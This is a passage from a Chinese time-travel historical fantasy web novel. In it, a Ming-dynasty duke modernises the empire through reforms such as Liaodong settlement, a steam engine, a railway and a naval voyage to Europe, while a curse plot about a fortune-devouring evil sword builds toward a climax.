“那本公告诉你。”苏惟瑾蹲下身,与他平视,“你要学汉文,能读诗书;学算学,能算账目;学礼仪,知进退分寸。等你学成了,回草原去,能帮你父亲治理部落,能让族人有茶喝,有衣穿,有铁锅煮肉——这比你骑马射箭,更重要。明白吗?”
脱脱似懂非懂,但还是点点头。
“好。”苏惟瑾起身,朗声道,“陛下有旨:赐蒙古王子脱脱汉名‘蒙安’,取‘蒙汉安定’之意。入国子监读书,与宗室子弟同住。一应供给,按郡王例。”
“谢陛下!”巴特尔赶紧拉着脱脱又跪下。
蒙安。
这个
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名字,从今天起,将伴随这个蒙古孩子一生。
……
散朝后,兵部衙门。
几个官员围着杨博,兴奋地议论着。
“国公爷这一手真是绝了!”兵部右侍郎刘显拍大腿,“质子入京,蒙古人往后就得掂量掂量!这比十万大军驻扎边境还有用!”
“何止啊。”另一个郎中接口,“听说互市那边,蒙古人现在疯了一样养羊。大同总兵戚继光报上来,说去年蒙古各部战马数量,下降了足足三成!养马费草料,养羊能卖钱,傻子才养马呢!”
杨博捻须微笑:“这叫‘不战而屈人之兵’。国公爷以商贾之法,胜十万雄兵。老夫在兵部干了三十年,没见过这样的打法。”
正说着,苏惟瑾进来了。
众人赶紧行礼。
“不必多礼。”苏惟瑾走到沙盘前,看着北疆地形,“这才刚开始。羊毛贸易只是第一步,接下来,要在草原建毛纺工坊,雇蒙古人做工;要在边境开蒙汉学堂,教蒙古孩子汉话;要让他们的贵族以穿汉服、说汉话为荣——十年,最多二十年,蒙古就不是威胁了。”
刘显听得心潮澎湃:“国公爷深谋远虑!”
“深谋远虑谈不上。”苏惟瑾淡淡道,“只是比他们,看得远一点。”
正说着,胡三匆匆进来,脸色凝重。
苏惟瑾会意,屏退左右。
“公子,”胡三压低声音,“找到鬼爪了。”
“在哪?”
“在……在国子监。”胡三咽了口唾沫,“他化名‘顾先生’,应聘做了蒙学教**。今天蒙安小王子入学,就是他接手的。”
苏惟瑾瞳孔骤缩。
鬼爪在国子监?教蒙古质子?
“还有,”胡三继续道,“咱们在江西那座废弃道观地下,挖出了点东西。是一本手札,落款是……正德十四年,宁王府首席炼丹师,道号‘玄真子’。”
玄真子。
宁王,炼丹师,火焰缠剑。
“手札上写了什么?”
“写了‘以命炼剑’的完整法门。”胡三声音发抖,“其中有一段:剑种需种于‘异数’之体,待‘异数’改天换地、气运鼎盛之时,剑种成熟,邪剑归位,可夺其气运,炼成‘天命之剑’。”
异数。
改天换地。
气运鼎盛。
苏惟瑾缓缓闭上眼睛。
原来如此。
他不是偶然被选中的祭品。他之所以被选中,恰恰是因为他改变了这个时代——格物学堂、议政院、北疆战略、蒙古质子……这一切“功绩”,都在催熟他体内的剑种。
炼剑者要的,不是他的命。
是他改变历史所凝聚的“气运”。
“公子……”胡三担忧地看着他。
苏惟瑾睁开眼,眼中寒光凛冽。
“告诉鹤岑,我要见那个玄真子的手札。”
“还有,”他顿了顿,“盯紧鬼爪。但不要动他。我要看看,他到底想干什么。”
---
蒙古质子顺利入京,北疆战略初见成效。可鬼爪化名潜入国子监,目标直指蒙古小王子蒙安。
而玄真子手札揭露的真相更令人心惊——火焰缠剑的阴谋,竟是以苏惟瑾改变历史所凝聚的“气运”为养料!
与此同时,国子监传来诡异消息:蒙安入学第一夜,梦呓中反复念叨一句蒙古语。
通译译出后,内容令人毛骨悚然:“红衣姐姐说……剑饿了……要**……”
几乎同时,苏惟瑾胸口那隐去的剑种印记,突然再次浮现,且比以往任何时候都更灼热。
这一次,印记的形状发生了变化——火焰依旧缠绕剑身,可剑尖所指,不再是他的心脏,而是……皇宫方向。
钦天监徐光启连夜急报:紫微帝星旁,那颗血色小星突然光芒大盛,其尾焰拖出一道诡异的轨迹,轨迹末端,正指向国子监方位!
棋局骤然升级。
鬼爪、蒙安、剑种、邪剑……所有线索交织成一张大网,而网的中心,似乎正是那座培养大明未来人才的国子监。
苏惟瑾的超频大脑能否在气运被彻底吞噬前,破解这“以运养剑”的千年邪局?
第421章 东北丰收喜,流民变富农
玄真子手札摊开在文国公府书房桌案上。
纸页泛黄,墨迹斑驳,却字字惊心。
“以命炼剑,剑成需祭。
寻常命格不过柴薪,唯‘异数’之体,改天换地,逆命而行,方聚天地气运。
剑种深种,待其功业鼎盛、气运如虹时,剑种成熟,邪剑归位,可夺其运,炼‘天命剑’,掌乾坤……”
苏惟瑾放下手札,望向窗外。
秋日的阳光洒进书房,在他胸口的衣襟上投下淡淡光斑——那里,剑种印记又隐去了,可他能感觉到,那东西还在,像一颗埋进血肉的种子,正随着他每一次改革、每一桩功业,悄然生长。
“公子,”鹤岑站在一旁,脸色比手札的纸还白。
“这‘异数’之说……说的就是您啊。”
“我知道。”
苏惟瑾语气平静。
一年前他或许还会惊讶,但现在,他只剩冷静。
穿越者身份是他最大的秘密,也是最大的软肋。
炼剑者能选中他,说明对方有某种方式“识别”异数——或许是观测天象,或许是卜算推演,又或许……是像玄真子这样的道士,有特殊的感应。
“鬼爪那边,”他转向胡三。
“有什么新动静?”
胡三摇头。
“还是那样。
在国子监当教**,教蒙安小王子识字、背诗,规规矩矩的,挑不出毛病。
倒是蒙安那孩子……”
“怎么了?”
“他夜里总做噩梦。”
胡三压低声音。
“不止一次了,值夜的太监听见他哭喊,说的都是那句蒙古语:‘红衣姐姐说……剑饿了……要**……’”
红衣姐姐?
苏惟瑾皱眉。
鬼爪是个男人,铁面黑袍,跟“红衣姐姐”扯不上关系。
除非……国子监里还有别人。
“查。”
他只说了一个字。
正说着,周大山兴冲冲推门进来,手里捧着份厚厚的奏报。
“公子!辽东大捷!辽东大捷啊!”
……
道历二年十月,辽东的秋天来得比关内早。
霜降一过,漫山遍野的金黄。
那不是树叶,是麦浪——一望无际的麦田,沉甸甸的穗子压弯了秸秆,在秋风里起伏,像金色的海洋。
王老汉——不对,现在该叫王屯长了——站在田埂上,粗糙的手掌抚过麦穗,眼眶发红。
他是去年从山东逃荒来的,一家五口,原以为要饿死在关外。
可到了辽东,官府真给了五十亩地,还发了耐寒麦种,派了农学师傅手把手教。
一年,就一年,这黑土地竟真长出了庄稼,而且长得比山东老家还好!
“爹!”
儿子王大牛跑过来,满脸兴奋。
“咱家那五十亩,估摸着能打一百石!一百石啊!”
“多少?”
王老汉手一抖。
“一百石!”
王大牛比划着。
“农学师傅说了,这耐寒麦种,亩产两石!
咱家五十亩,可不就是一百石!”
亩产两石。
王老汉哆嗦着嘴唇,算不过来了。
在山东老家,好年景一亩地也就一石出头的收成,还得分一半给东家。
这里……五十亩全是他自己的,一百石全是他自己的!
“交了税……还能剩多少?”
他颤声问。
“免税三年!”
王大牛咧嘴。
“文国公爷定的规矩,新垦地免税三年!
这一百石,全是咱家的!”
扑通。
王老汉腿一软,跪在了田埂上。
他朝着北京方向,咚咚咚磕了三个响头。
“文国公爷……您是我王家再生父母啊!”
这样的场景,在辽东几十个新建屯堡里,比比皆是。
五千户流民,家家丰收。
最少的也能打七八十石,多的像王老汉这样的,上百石。
粮食堆满仓,过冬的嚼谷有了,明年的种子有了,甚至……还能卖些换钱。
消息像长了翅膀,飞过山海关。
山东、河北、河南,那些还在挨饿的灾民眼红了。
“听说了吗?辽东那边,真给五十亩地!
免税三年!”
“亩产两石!
比咱这儿多一倍!”
“还等啥?闯关东去啊!”
“走!闯关东!”
一支支逃荒队伍,拖家带口,朝着山海关涌去。
关口守军早就得了令:只要是流民,登记造册,发放路引,派兵护送——辽东缺的就是人!
一年,仅仅一年。
辽东人口从不足三十万,暴涨到四十万。
新垦农田从零,增加到一百万亩。
而残余的女真部落,被戚继光麾下的辽东铁骑清剿得七七八八——要么归顺,要么躲进深山老林,再也成不了气候。
但这还不是最大的惊喜。
……
鞍山,勘探营地。
“报——!”
一个浑身泥泞的工部吏员狂奔进帐篷,手里举着块黑黝黝的石头。
“找到了!找到了!铁矿!好大的铁矿!”
帐篷里,格物学堂矿冶科主事赵铁生霍然起身,接过石头仔细端详。
石头沉甸甸的,表面有暗红锈迹,断面能看到金属光泽。
“品位如何?”
他急问。
“初步探查,含铁至少五成!
而且矿脉浅,好开采!”
吏员激动得声音发颤。
“方圆十里,都是!
赵主事,咱们找到宝山了!”
几乎同时,另一个勘探队从抚顺传来消息:发现露天煤矿!
煤层厚,埋藏浅,挖开地表就是黑金!
两份急报,八百里加急,送到北京。
……
文华殿,朝会。
户部尚书方钝捧着辽东送来的秋粮统计册子,手都在抖。
“陛下,辽东首批五千户移民,今秋**粮……四十六万石!
折银二十三万两!
这……这还没算大豆、高粱!”
殿内一片吸气声。
四十六万石?
这才五千户啊!
要是五万户、五十万户呢?
“还有,”
方钝继续念。
“鞍山铁矿,初步估计储量……可抵全国十年之用!
抚顺煤矿,更是取之不尽!
陛下,辽东……辽东是块宝地啊!”
百官嗡嗡议论,一个个眼睛发亮。
钱!
粮!
铁!
煤!
实打实的好处摆在眼前,谁还敢说“蛮荒之地得不偿失”?
老翰林徐溥去年就被气得“卧病在床”,今天根本没来上朝。
“陛下,”
苏惟瑾出列。
“辽东丰收,矿产丰饶,此乃天佑大明。
臣请旨:一,扩大移民,明年再徙十万户;
二,成立‘辽东工业局’,专司开矿、冶炼、制造;
三,在鞍山建高炉炼铁厂,抚顺建煤矿,辽东就地取材,打造兵甲农器。”
“准。”
已经九岁的小皇帝朱载重,如今说话更有底气了。
他虽不懂那些数字,但能感受到朝堂上兴奋的气氛——这是好事,他懂。
散朝后,几个官员围着苏惟瑾道贺。
“文国公真是神机妙算!”
“辽东这一宝,押对了!”
“往后九边军械,可以就地打造了!”
苏惟瑾微笑应酬,心里却丝毫轻松不起来。
辽东越成功,他身上的“气运
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”就越盛,剑种就成熟得越快。
玄真子手札上那句话,像魔咒一样在他脑中回响:“待其功业鼎盛、气运如虹时,剑种成熟……”
功业鼎盛。
他现在算不算?
……
三日后,文国公府书房。
胡三带来了坏消息。
“公子,国子监那边……出事了。”
他声音发紧。
“蒙安小王子,今天在学堂上,突然用毛笔在纸上画了个图案。”
“什么图案?”
胡三从怀中取出一张纸,展开。
纸上,歪歪扭扭画着一柄剑,火焰缠绕。
虽然稚嫩,但形神俱在。
“教**问他画的是什么,”
胡三继续道。
“他说……是梦里红衣姐姐教他画的。
还说,红衣姐姐告诉他,这剑快醒了,醒来第一个要吃的……是‘最亮的那颗星星’。”
最亮的星星?
苏惟瑾猛地抬头。
紫微星!
帝星!
“还有,”
胡三咽了口唾沫。
“咱们的人暗中搜查了鬼爪的住处。
在他床板夹层里,找到了一样东西。”
“什么?”
“一件红衣。”
苏惟瑾瞳孔骤缩。
鬼爪,铁面黑袍的**,床下藏着红衣?
“不是女人的衣服,”
胡三补充。
“是道袍。
红色的道袍,袖口绣着火焰纹,还有……血迹。
看样式,是前朝宁王府道士的制式。”
红衣道袍。
红衣姐姐。
“鬼爪就是玄真子?”
苏惟瑾喃喃。
“不像。”
胡三摇头。
“玄真子若是活着,该有百岁了。
鬼爪看着最多四十。
除非……”
“除非他用了邪术,延寿驻颜。”
鹤岑的声音从门口传来,老道脸色苍白。
“以命炼剑者,可夺他人寿元为己用。
那件红衣道袍,恐怕就是……炼剑时的法衣。”
苏惟瑾沉默片刻。
“盯死鬼爪。”
他最终道。
“另外,查查国子监还有谁穿过红衣,或者……喜欢红色。”
“是。”
胡**下后,苏惟瑾走到窗前。
秋日阳光正好,照得庭院里枫叶火红。
可他却感到一阵寒意——从胸口剑种印记处蔓延开的寒意。
辽东大丰收,北疆战略成,蒙古质子来朝,工业化萌芽……这一桩桩功业,像养料一样浇灌着那颗剑种。
而他,能感觉到,那东西……快熟了。
东北开发大获成功,粮食、矿产、人口全面丰收,苏惟瑾的改革事业达到新高峰。
可玄真子手札揭示的恐怖真相也随之应验——功业越盛,气运越浓,剑种成熟越快!
鬼爪床下红衣道袍现身,蒙安梦中“红衣姐姐”之谜浮出水面。
国子监已成邪剑阴谋的关键节点,而“最亮的那颗星星”直指小皇帝性命。
更令人心悸的是,当夜苏惟瑾在书房审阅辽东工业局规划时,胸口剑种印记突然剧烈灼痛。
他掀开衣襟,惊恐地发现——那印记的火焰部分,竟隐隐透出红光,仿佛真的在燃烧!
而剑尖所指的方向,不再模糊,清晰无误地指向皇宫深处,养心殿方向。
几乎同时,养心殿值夜太监惊恐来报:小皇帝朱载重半夜惊醒,哭喊着说看见“一个穿红衣服的道士,拿着会冒火的剑,要砍朕的脑袋”!
剑种即将成熟,邪剑即将归位。
苏惟瑾以自身气运为代价推动的历史变革,究竟会成就大明,还是成为那柄“天命剑”的祭品?
生死对决,已进入最后倒计时。
第422章 蒸汽机雏现,瑾见未来光
养心殿那场夜惊之后,小皇帝朱载重连着发了三天高烧。
太医说是“惊吓过度”。
开了安神汤药。
可鹤岑偷偷告诉苏惟瑾:小皇帝眉心隐隐有黑气。
那是“邪气侵体”的征兆。
“能驱吗?”
苏惟瑾问。
“难。”
鹤岑摇头。
“邪剑未现,邪气无源。
除非……找到持剑之人,断其根源。”
持剑之人。
鬼爪,或者说,那个穿红衣道袍的“玄真子传人”。
胡三那边查了整整十天。
国子监里穿红衣的只有两人:一个厨娘,五十多了,胖得走路都喘;一个杂役,是个哑巴,脑子不太灵光。
显然都不是。
鬼爪依旧规规矩矩教课。
那件红衣道袍被找到后,他似乎毫无察觉。
照旧日出而作、日落而息。
这反而更让人不安——太镇定了,镇定得不正常。
“他在等。”
苏惟瑾对周大山说。
“等一个时机。”
“什么时机?”
“剑种成熟的时机。”
苏惟瑾摸了摸胸口。
那里,剑种印记的红光时隐时现,像一颗随时会**的心脏。
他需要做点什么,转移注意力,也转移……气运的汇聚。
于是,他把目光投向了格物学堂的蒸汽机项目。
……
道历三年,二月二,龙抬头。
北京西郊,格物学堂“机巧院”试验场。
这里原本是皇家猎苑的一角,如今被改造成了试验基地。
巨大的工棚里,立着一个庞然大物——高近两丈,宽约一丈,通体铸铁打造,表面还带着砂模的粗糙痕迹。
这就是格物学堂工匠们花了两年时间,在苏惟瑾“点拨”下,造出的第一台实用型蒸汽机。
主事工匠叫李铁山。
名字土气,手艺却是顶尖。
他是赵铁生的堂弟,原本在工部军器局打铁,被苏惟瑾挖过来时还不乐意,觉得“奇技淫巧”没出息。
可现在,他围着这台机器打转,眼神热切得像看自己刚出生的儿子。
“国公爷,”
李铁山搓着手。
“都准备好了。
锅炉水满,燃煤备足,活塞润滑也做了。
就是……就是心里没底。”
“怕什么?”
苏惟瑾微笑。
“失败了,重来。
成功了,重赏。”
“是!”
李铁山一咬牙。
“点火!”
两个工匠手持火把,点燃了锅炉下的煤堆。
黑烟升起,鼓风机嗡嗡作响,火焰在炉膛里越烧越旺。
渐渐地,锅炉外壁开始发烫,水汽从缝隙里丝丝冒出。
所有围观的人都屏住呼吸。
工部来了几个主事,礼部来了个好奇的编修,格物学堂的学生、工匠挤满了工棚。
连周大山都来了,他不懂这些,但国公爷说重要,那就重要。
时间一点点过去。
锅炉上的压力表指针,缓缓爬升。
“快了……快了……”
李铁山额头冒汗,眼睛死死盯着指针。
当指针指向红色刻度线时——
“开阀!”
一个工匠猛地扳动阀门。
“嗤——!”
白色蒸汽喷涌而出,冲进汽缸。
活塞在蒸汽推动下,猛地向后一退,接着向前一推——虽然缓慢,但确实在动!
连杆带动飞轮,飞轮开始旋转,起初很慢,后来越转越快!
“动了!动了!”
一个年轻工匠激动得跳起来。
“真动了!”
李铁山眼圈一红,扑通跪在机器前。
“祖宗保佑……成了!成了!”
飞轮旋转,带动着旁边一台抽水机的曲轴。
抽水机的活塞开始往复运动,将水槽里的水抽起来,又哗啦啦排出去。
水花四溅,在阳光下闪着光。
所有人都看呆了。
不用人力,不用畜力,就靠烧煤、烧水,这铁疙瘩自己就能动,还能干活!
“神迹……这是神迹啊!”
礼部那个编修喃喃道。
几个工部主事围上去,摸摸这儿,敲敲那儿,嘴里啧啧称奇:“这力道……抵得上十头牛吧?”
“何止!
你看那抽水的劲儿,顶得上三十个壮劳力!”
“要是用在矿山上排水……”
“用在纺纱机上呢?”
“用在……船上呢?”
想象力一旦打开,就收不住了。
苏惟瑾站在人群外,静静看着那台轰鸣的机器。
蒸汽机。
在他原来的世界,这东西改变了整个文明。
而在这里,它提前了两百年出现。
虽然粗糙、笨重、效率低下——热效率恐怕连百分之五都不到——但它是真的,它在动,它在工作。
超频大脑里储存的那些图纸、公式、原理,第一次在这个时代,变成了实实在在的东西。
他感到一种……难以言喻的悸动。
不是激动,是更复杂的东西。
像是在改写历史,又像是在创造历史。
而这创造带来的“气运”,正源源不断涌入他体内,浇灌着那颗该死的剑种。
“国公爷,”
李铁山跑过来,脸上还挂着泪。
“成了!真的成了!
您说的那些……那些‘热力学’、‘气压传动’,都对!都对了!”
“辛苦你们了。”
苏惟瑾拍拍他肩膀。
“所有参与研发的工匠,赏银百两。
李铁山,升格物学堂‘机巧院’院正,秩从五品。”
从五品!
一个工匠,当官了!
周围响起一片羡慕的吸气声。
李铁山愣了半天,才扑通跪下。
“谢……谢国公爷!”
“起来。”
苏惟瑾扶起他。
“这只是开始。
我要你成立‘蒸汽机改良坊’,继续研究——缩小体积,提高效率,降低煤耗。
需要多少钱,报上来,我批。”
“是!小的……不,下官一定办好!”
“还有,”
苏惟瑾转向众人。
“从今天起,格物学堂增设‘动力科’,专教蒸汽机原理、设计、制造。
学生学成,可直接进改良坊。”
这等于给了工匠一条通天路。
以后谁还敢说“奇技淫巧没出息”?
……
试验成功的消息,当天就传遍了京城。
茶馆里,说书先生口沫横飞:“列位!你们猜怎么着?
文国公爷让人造了个铁牛!
不吃草不喝水,光吃煤,力气比一百头真牛还大!
抽起水来,哗啦啦跟下雨似的!”
“吹吧你!”
有茶客不信。
“千真万确!
我表弟在格物学堂当杂役,亲眼所见!
那铁牛还会叫呢,呼哧呼哧的!”
百姓当奇闻听,官员们却看到了更多。
第二天朝会,工部尚书第一个站出来:“陛下,文国公所创蒸汽机,实乃国之利器!
臣请旨,拨款十万两,在全国矿山推广,用于排水、提升——此举可省人力无数,增矿产倍余!”
户部尚书方钝这次没抠门:“臣附议。
若真能省人力,长远看是省钱的。”
连兵部尚书杨博都动了心思:“若是……若是用在战船上呢?
不用帆,不靠风,逆水也能行?”
这个想法太大胆,殿内一阵哗然。
苏惟瑾等他们议论完,才缓缓开口:“蒸汽机用途,远不止此。
本公已命格物学堂规划第一条‘实验铁路’——从西山煤矿至京城码头,全长二十里,铺设铸铁轨道。
初期可用马匹牵引车厢,待蒸汽机改良成熟,便可造‘蒸汽机车’,自行牵引。”
铁路?
蒸汽机车?
这些词儿,听着就玄乎。
“文国公,”
都察院一个御史忍不住了。
“这……这得花多少钱?
铸铁铺路?
闻所未闻啊!”
“闻所未闻,才要试。”
苏惟瑾看着他。
“郑和下西洋之前,谁见过那么大的宝船?
永乐爷迁都之前,谁知道北京能成京师?
不敢试,永远只能原地踏步。”
他顿了顿,声音转冷:“至于花钱——辽东今年秋粮增收五十万石,鞍山铁矿已出铁十万斤,抚顺煤矿日产煤千吨。
这些,都是钱。
花在铁路上,花在机车上,花在让大明走得更快、更强的路上,本公觉得,值。”
没人敢再说话了。
数据摆
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在那儿:辽东的粮食、铁矿、煤矿,都是实打实的收益。
花自己的钱搞建设,谁能说不对?
“准了。”
小皇帝今天精神好了些,说话也干脆。
……
散朝后,苏惟瑾没回府,而是去了格物学堂。
他要亲自审阅铁路规划图。
图纸铺开,线条精细,标注清晰。
从西山到码头,沿线地形、坡度、桥梁位置,都标得明明白白。
负责测绘的是格物学堂第一批毕业生,一个叫徐光启的年轻人——和历史同名纯属巧合,但确实聪明。
“国公爷,”
徐光启指着图纸。
“按您的吩咐,轨道用生铁铸造,每段长三尺,下垫枕木。
车厢初期用四轮,一车可载货五千斤。
若用八马牵引,一个时辰能行二十里,比大车快三倍!”
苏惟瑾点头:“很好。
但你要记住,马匹只是过渡。
真正的目标,是蒸汽机车。”
“学生明白!”
徐光启眼睛发亮。
“蒸汽机改良坊那边,已经在设计小型化机型了。
李院正说,最多一年,就能造出能装在车上的蒸汽机!”
一年。
苏惟瑾望向窗外。
一年后,铁路通车,蒸汽机车轰鸣,大明的工业化将迈出实质性一步。
而他胸口的剑种……
他伸手按住胸口。
那里,灼热感越来越明显。
不是疼痛,是一种……饱胀感。
像果实熟透,即将坠落。
“公子,”
胡三悄声进来,脸色凝重。
“鬼爪那边……有动静了。”
“说。”
“他今天去了白云观——就是那个被查封的宁王旧观。
在里面待了一个时辰,出来时……换了一身衣服。”
“什么衣服?”
胡三咽了口唾沫:“红色道袍。
跟咱们找到的那件,一模一样。”
苏惟瑾瞳孔一缩。
红衣道袍,白云观,宁王旧地。
鬼爪不藏了。
他要动手了。
“还有,”
胡三继续道。
“蒙安小王子今天在学堂,又画了一幅画。
这次画的不是剑,是……是一个人。”
“谁?”
“画得歪歪扭扭,但能看出来,穿着绯色**袍,戴着玉冠。”
胡三声音发颤。
“是您,国公爷。
画里的您,胸口插着一柄剑,火焰缠绕。
蒙安说……红衣姐姐告诉他,这是‘剑归位’的样子。”
剑归位。
苏惟瑾缓缓闭上眼睛。
原来如此。
邪剑的目标,从来就不只是小皇帝。
它要的,是皇帝的气运,加上他这个“异数”的气运,双份祭品,炼成真正的“天命剑”。
而他推动历史变革所凝聚的气运,正是催熟剑种、引来邪剑的最佳养料。
蒸汽机成功了。
铁路要开建了。
工业化萌芽了。
他的“功业”,达到了前所未有的顶峰。
而剑种,也终于……熟透了。
蒸汽机试验大获成功,铁路规划震撼朝野,苏惟瑾推动的科技**迈出历史性一步。
可这一切“功业”凝聚的庞大气运,却让胸口的剑种加速成熟,濒临爆发!
鬼爪现身白云观,红衣道袍加身,不再伪装。
蒙安画中“剑归位”的恐怖预言直指苏惟瑾。
双份祭品的真相终于揭开——邪剑要吞噬的,是皇帝与“异数”的双重气运。
当夜,苏惟瑾在书房审阅铁路图纸时,胸口剑种印记突然红光大盛,灼热到几乎要烧穿衣物!
与此同时,窗外夜空,那颗血色小星光芒暴涨,其尾焰竟**成两道,一道指向皇宫,一道……直指文国公府!
鹤岑惊恐来报:天象示警,“双星陨落”之兆已成!
若不阻止,七日之内,帝星与“异星”(指苏惟瑾)将同时熄灭!
而几乎同时,白云观方向传来轰然巨响,火光冲天。
胡三急报:观中地下密室炸开,里面……飞出了一柄剑。
一柄燃烧着黑色火焰,剑身赤红,剑柄缠绕着血色符文的——
真正的火焰缠剑。
它出来了。
游戏,进入终局。
第423章 海军下西洋,瑾志在四海
白云观那场火,烧了整整一夜。
黑色的火焰在道观废墟上跳跃。
明明没有**了,却还在燃烧。
更邪门的是,这火不发热,反而透着刺骨寒意。
官兵不敢靠近,只能在百步外拉上警戒线。
“公子,”
鹤岑站在废墟边缘,白须在夜风中飘动。
“邪剑出世了。
那把剑……就在火里。”
苏惟瑾凝视着那片黑焰。
超频大脑疯狂运算,分析火焰光谱、能量波动、热辐射分布——数据一片混乱,这不属于已知的任何燃烧反应。
“它为什么不出来?”
“在‘醒’。”
鹤岑声音发颤。
“邪剑沉寂百年,需吸收足够的‘气’才能完全苏醒。
它现在就在吸收……吸收这片土地残留的宁王怨气,吸收这些年死在附近的人魂,还有……”
他顿了顿,看向苏惟瑾:“还有您身上的剑种,传来的感应。”
苏惟瑾胸口那剑种印记,此刻正与黑焰同步跳动,像一颗被线牵引的心脏。
“还有七天。”
鹤岑掐指算着。
“七天后的子时,天地阴气最盛,剑灵完全苏醒,就会……”
“就会来找我,和小皇帝。”
苏惟瑾替他说完。
两人沉默。
夜风呼啸,黑焰摇曳,远处传来打更人的梆子声——三更了。
“公子,”
胡三匆匆赶来。
“国子监那边……鬼爪不见了。”
“什么时候?”
“一个时辰前。
他换回黑衣,翻墙走的,咱们的人跟丢了。”
胡三顿了顿。
“但他在住处留了东西。”
“什么?”
“一封信。”
信很简短,只有一行字,用朱砂写成,笔迹狂乱如鬼画符:
“七日,子时,紫禁之巅,剑成祭天。”
紫禁之巅。
不是养心殿,不是乾清宫,是三大殿屋顶的最高处——太和殿正脊。
那里是皇权的象征,也是北京城的最高点。
“他在挑衅。”
周大山咬牙。
“公子,让俺带兵,把京城翻个底朝天,不信抓不到他!”
“抓不到了。”
苏惟瑾摇头。
“他要藏,你找不到。
他要现,自己会来。”
他转身,看向东方。
天边已泛起鱼肚白。
七天。
他只有七天时间准备。
而最好的准备,不是躲,不是藏,是继续往前走——走得越快,气运越盛,剑种越成熟,但同样,他手中的筹码也越多。
“传令,”
苏惟瑾声音平静。
“今日朝会,议海军下西洋。”
……
道历三年,六月初六。
小皇帝朱载重今天没坐在龙椅上——他病了,发着低烧,被鹤岑用符咒暂时镇住心神,在寝宫休息。
朝会由苏惟瑾主持。
这个变化本身就让百官心惊。
皇帝病重,国公摄政,这节骨眼上还要议“下西洋”?
“文国公,”
户部尚书方钝第一个站出来。
“海军改组,下西洋,都是大事。
可否……稍缓几日?
陛下龙体欠安,此时不宜大动干戈啊!”
“方尚书说得对!”
几个官员附和。
苏惟瑾站在御阶上,俯视着他们:“陛下只是微恙,太医已诊治,三日内必愈。
国事岂能因陛下小恙而废?”
他顿了顿,声音转冷:“还是说,诸位觉得本公无权主持朝政?”
这话重了。
没人敢接。
“既然无人反对,”
苏惟瑾从袖中取出一卷图纸。
“那便议正事。”
图纸展开,是一幅巨大的海图——不是传统《郑和航海图》那种粗略勾勒,而是精确标注了经纬度、海岸线、水深、洋流的世界地图。
这是超频大脑根据后世记忆还原的,虽然仍有误差,但已足够震撼。
“此乃本公命格物学堂所绘《寰宇海图》。”
苏惟瑾手指划过图纸。
“自月港出发,经南海,过马六甲,入印度洋,绕好望角,可达欧罗巴。
全程约三**,需时一年半。”
三**!
一年半!
殿内一片哗然。
“文国公,”
工部尚书忍不住了。
“这……这太远了!
风险太大!”
“郑和下西洋,最远不过东非。”
另一个官员补充。
“欧罗巴……听都没听过!”
“所以要去。”
苏惟瑾淡淡道。
“郑和船队带回来的是奇珍异兽,是万国来朝的虚名。
这次我们要带回来的,是真金白银,是商路航道,是——”
他手指重重一点海图上的几处标记:
“玉米、土豆、红薯。”
玉米?
土豆?
红薯?
百官面面相觑,这些名字他们听都没听过。
“此三物,皆海外高产作物。”
苏惟瑾朗声道。
“玉米耐旱,土豆耐寒,红薯耐贫瘠。
亩产皆在五石以上,且不挑地,山地、旱地、沙地皆可种。”
五石以上?
还不挑地?
户部尚书方钝眼睛瞪大了:“此言当真?!”
“格物学堂已在琉球试种过土豆,亩产六石。”
苏惟瑾道。
“若在全国推广,大明将永无饥荒。”
永无饥荒!
这四个字,砸得满殿官员头晕目眩。
“还有,”
苏惟瑾继续。
“马六甲、锡兰、好望角,这些地方要建补给基地。
往后大明的商船、战舰,往来大洋,有地方歇脚,有地方补给,有地方修船——这比带回来几头长颈鹿,实在得多。”
他环视全场:“改组大明水师为‘皇家海军’,以苏惟山为提督。
造新式炮舰,仿葡萄牙船型改良,装新式火炮。
道历三年夏,舰队出发——十二艘战舰护航,三十艘商船载货。
打通至欧洲的海上商路,直接贸易,不再让阿拉伯人、葡萄牙人赚差价。”
这一整套计划,把所有人都震住了。
不是反对,是……反应不过来。
“这得花多少钱啊……”
方钝喃喃道。
“花多少钱,赚多少钱。”
苏惟瑾早有账本。
“茶叶、丝绸、瓷器,在咱们这儿不值钱,在欧罗巴是奢侈品,十倍利润不止。
带回来的白银,百倍于投入。”
他顿了顿,声音提高:“更重要的是,从今往后,凡日月所照之处,皆可为大明市场!
大明的商旗插到哪里,哪里就是大明的利益所在!”
这话说得霸气。
几个年轻官员听得热血沸腾,老臣们则眉头紧锁。
“文国公,”
礼部尚书孔闻韶犹豫道。
“如此……是否太过张扬?
恐招致番邦忌惮……”
“孔尚书,”
苏惟瑾看着他。
“您说郑和下西洋,张扬不张扬?”
“这……自然张扬。”
“那大明亡了吗?
番邦打过来了吗?”
孔闻韶语塞。
“没有。”
苏惟瑾自问自答。
“因为郑和带去的是和平,是贸易,是好处。
这次也一样。
我们要的是商路,是白银,是粮食——不是打仗,不是征服。
但如果有谁挡了我们的商路……”
他眼神一冷:“皇家海军的炮舰,也不是摆设。”
杀气,隐约浮现。
没人敢再说话了。
“既无异议,”
苏惟瑾收起海图。
“传旨:改组水师,建造新舰,筹备远航。
三个月后,舰队出港。”
……
三个月,转瞬即逝。
这三个月里,发生了三件事。
第一,小皇帝朱载重的病时好时坏,鹤岑用尽手段,也只能暂时压制。
那柄邪剑的阴影,像一把悬在紫禁城上的刀,随时可能落下。
第二,白云观的黑焰终于熄灭了。
废墟中央,留下一个深不见底的坑。
鹤岑说,那是邪剑“出世”时留下的“剑痕”,阴气极重,寻常人靠近就会昏厥。
第三,月港的舰队准备好了。
道历三年,九月初九。
月港码头,人山人海。
十二艘新式炮舰泊在港内,船
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体比传统福船更长、更窄,舷侧开炮窗,甲板上立着高高的桅杆。
最大的那艘旗舰“定远号”,足足有四十丈长,装炮三十六门——在这个时代,已是海上巨兽。
三十艘商船满载货物:茶叶十万斤,丝绸五万匹,瓷器二十万件,还有各种精巧的手工艺品。
岸边,苏惟瑾正在送行。
苏惟山一身海军提督制服,肩章上的金锚闪闪发亮。
他今年三十一岁,正是年富力强的时候。
“堂兄,”
苏惟瑾看着他。
“此去**,凶险未知。
但意义,重于泰山。”
“公子放心。”
苏惟山抱拳。
“惟山必不负所托。
商路必通,种子必回,基地必建!”
“好。”
苏惟瑾从怀中取出一个锦囊。
“这里面,是本公手绘的航线图,还有沿途需要注意的事项。
收好,关键时刻再看。”
“是!”
苏惟山郑重接过。
“还有一句话,”
苏惟瑾望向浩瀚的海洋。
“凡日月所照,皆可为大明市场。
这话,不只是口号。
你要让沿途每一个港口,每一处海岸,都记住大明的商旗,都想要大明的货物。”
“惟山明白!”
吉时到。
礼炮齐鸣,鼓乐喧天。
